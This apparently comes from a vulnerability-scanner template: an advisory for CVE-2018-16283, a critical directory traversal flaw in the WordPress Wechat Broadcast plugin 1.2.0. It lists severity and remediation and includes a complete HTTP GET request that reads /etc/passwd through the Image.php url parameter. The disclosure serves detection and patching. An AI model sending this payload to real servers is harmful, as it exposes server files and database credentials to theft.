| Title | WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion |
|---|---|
| Author | 0x240x23elu |
| Severity | Critical |
| Impact | Unauthenticated attackers can read arbitrary files on the WordPress server through directory traversal in the Image.php url parameter, potentially exposing wp-config.php containing database credentials, private keys, and other sensitive configuration files. |
| Remediation | Update to the latest version of the WordPress Plugin Wechat Broadcast or apply the patch provided by the vendor to fix the LFI vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.77894 |
| CVE ID | CVE-2018-16283 |
| CWE ID | CWE-22 |
| Tags | cve cve2018 edb seclists wordpress wp-plugin lfi wechat_brodcast_project vuln |
WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.
GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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